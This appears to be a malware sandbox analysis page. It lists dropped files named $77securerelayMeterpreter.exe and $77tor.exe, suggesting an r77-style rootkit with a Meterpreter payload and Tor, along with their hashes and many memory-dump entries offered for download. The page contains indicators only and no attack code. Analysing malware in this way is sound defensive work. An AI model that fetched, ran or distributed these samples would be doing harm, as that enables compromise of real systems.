$77securerelayMeterpreter.exe

Path C:\Windows\$77driver\$77securerelayMeterpreter.exe
Size 164KB
SHA256 47d9dc3285d08eaf0ec3519a731483a65462a7d5b71897064da962f43fa79e05
MD5 c4481af0806aa45f6f60cb2696bda08f
SHA1 693aa58b1e5417b200a4d2d871f90cf4b721b3d2
SHA512 7ace15d9ee5687cb33276777c3e3c94fc5e80782718bc21d8a552c4421c67abdb44984eb1a12ce0a64f10c31cbef3243086bb4b2b8ffa8e76ec917d92876a6f2
SSDEEP 1536:7R4BKHycQ4Gt2XyGFMN6ytb++vUIIiTZp99BZO7An3M+pvC:t4BKHyc/yGq3ta+vXTZp99BZO8c+V
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77tor.exe

Path C:\Windows\$77driver\$77tor.exe
Size 8.2MB
SHA256 4dc2054d3023f671df5cd839a1080cba34e8d764897ace57535dcef6b1c11bf5
MD5 98e61b0349680d5630548911e355bcad
SHA1 ae47d8e3552a8adcb8670ce0c1fb45677510a8c3
SHA512 232b8b0e327a683c5890129d5bf80fd52880f650ef1310e2d2fe5408438eb05e2d9c61d8c6cd7f40fb90bcc9b83dfc07fa5fcb3d1744daaef6f7467a3c8edca9
SSDEEP 98304:QcepYIOX3bQ3zhKRuJKI07NV2EwBLU71H/D8w/alW8zA+j83:QcepY3EDhKRuJZYYE1H/0zRS
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/60-190-0x0000020D6BF60000-0x0000020D6BF8B000-memory.dmp

Download

memory/60-196-0x0000020D6BF60000-0x0000020D6BF8B000-memory.dmp

Download

memory/60-197-0x00007FFB3B0F0000-0x00007FFB3B100000-memory.dmp

Download

memory/220-1036-0x00007FF72A540000-0x00007FF72A580000-memory.dmp

Download

memory/388-201-0x000001E0DA4A0000-0x000001E0DA4CB000-memory.dmp

Download

memory/608-163-0x000002565B0B0000-0x000002565B0DB000-memory.dmp

Download

memory/608-164-0x00007FFB3B0F0000-0x00007FFB3B100000-memory.dmp

Download

memory/608-157-0x000002565B0B0000-0x000002565B0DB000-memory.dmp

Download

memory/608-156-0x000002565B0B0000-0x000002565B0DB000-memory.dmp

Download

memory/608-155-0x000002565B080000-0x000002565B0A5000-memory.dmp

Download

memory/672-175-0x00007FFB3B0F0000-0x00007FFB3B100000-memory.dmp

Download

memory/672-168-0x0000027CE9CE0000-0x0000027CE9D0B000-memory.dmp

Download

memory/672-174-0x0000027CE9CE0000-0x0000027CE9D0B000-memory.dmp

Download

memory/864-152-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/864-142-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/864-143-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/864-144-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/864-150-0x00007FFB7B070000-0x00007FFB7B265000-memory.dmp

Download

memory/864-149-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/864-151-0x00007FFB791E0000-0x00007FFB7929E000-memory.dmp

Download

memory/864-145-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/952-179-0x000001FAE2D30000-0x000001FAE2D5B000-memory.dmp

Download

memory/952-186-0x00007FFB3B0F0000-0x00007FFB3B100000-memory.dmp

Download

memory/952-185-0x000001FAE2D30000-0x000001FAE2D5B000-memory.dmp

Download

memory/2464-1049-0x00007FF68E600000-0x00007FF68E640000-memory.dmp

Download

memory/2728-37-0x0000000007C50000-0x0000000007C6A000-memory.dmp

Download

memory/2728-35-0x0000000007B20000-0x0000000007BC3000-memory.dmp

Download

memory/2728-1-0x00000000053B0000-0x00000000053E6000-memory.dmp

Download

memory/2728-2-0x0000000073CE0000-0x0000000074490000-memory.dmp

Download

memory/2728-3-0x0000000005A20000-0x0000000006048000-memory.dmp

Download

memory/2728-4-0x0000000073CE0000-0x0000000074490000-memory.dmp

Download

memory/2728-5-0x00000000059E0000-0x0000000005A02000-memory.dmp

Download

memory/2728-7-0x00000000062B0000-0x0000000006316000-memory.dmp

Download

memory/2728-6-0x0000000006240000-0x00000000062A6000-memory.dmp

Download

memory/2728-17-0x0000000006520000-0x0000000006874000-memory.dmp

Download

memory/2728-18-0x0000000006900000-0x000000000691E000-memory.dmp

Download

memory/2728-47-0x0000000073CE0000-0x0000000074490000-memory.dmp

Download

memory/2728-44-0x0000000007F70000-0x0000000007F78000-memory.dmp

Download

memory/2728-43-0x0000000007F90000-0x0000000007FAA000-memory.dmp

Download

memory/2728-42-0x0000000007E90000-0x0000000007EA4000-memory.dmp

Download

memory/2728-41-0x0000000007E80000-0x0000000007E8E000-memory.dmp

Download

memory/2728-40-0x0000000007E50000-0x0000000007E61000-memory.dmp

Download

memory/2728-39-0x0000000007ED0000-0x0000000007F66000-memory.dmp

Download

memory/2728-38-0x0000000007CD0000-0x0000000007CDA000-memory.dmp

Download

memory/2728-0-0x0000000073CEE000-0x0000000073CEF000-memory.dmp

Download

memory/2728-36-0x00000000082A0000-0x000000000891A000-memory.dmp

Download

memory/2728-19-0x0000000006940000-0x000000000698C000-memory.dmp

Download

memory/2728-34-0x0000000073CE0000-0x0000000074490000-memory.dmp

Download

memory/2728-33-0x0000000073CE0000-0x0000000074490000-memory.dmp

Download

memory/2728-32-0x0000000006F00000-0x0000000006F1E000-memory.dmp

Download

memory/2728-22-0x0000000070570000-0x00000000705BC000-memory.dmp

Download

memory/2728-20-0x00000000078D0000-0x0000000007902000-memory.dmp

Download

memory/2728-21-0x0000000073CE0000-0x0000000074490000-memory.dmp

Download

memory/3508-1017-0x00007FF75D0E0000-0x00007FF75D120000-memory.dmp

Download

memory/4128-991-0x00007FF735A10000-0x00007FF735A50000-memory.dmp

Download

memory/4128-992-0x00007FF735A10000-0x00007FF735A50000-memory.dmp

Download

memory/4480-139-0x00000240A0DA0000-0x00000240A0DCA000-memory.dmp

Download

memory/4480-138-0x00000240A0B30000-0x00000240A0B52000-memory.dmp

Download

memory/4480-140-0x00007FFB7B070000-0x00007FFB7B265000-memory.dmp

Download

memory/4480-141-0x00007FFB791E0000-0x00007FFB7929E000-memory.dmp

Download

memory/4596-1008-0x00007FF74EEE0000-0x00007FF74EF20000-memory.dmp

Download

memory/5000-999-0x00007FF7B30E0000-0x00007FF7B3120000-memory.dmp

Download

memory/5000-1000-0x00007FF7B30E0000-0x00007FF7B3120000-memory.dmp

Download

memory/5092-109-0x00000000703F0000-0x000000007043C000-memory.dmp

Download

memory/5092-108-0x0000000006370000-0x00000000063BC000-memory.dmp

Download

memory/5092-121-0x0000000007780000-0x0000000007794000-memory.dmp

Download

memory/5092-105-0x0000000005CB0000-0x0000000006004000-memory.dmp

Download

memory/5092-120-0x0000000007730000-0x0000000007741000-memory.dmp

Download

memory/5092-119-0x0000000007410000-0x00000000074B3000-memory.dmp

Download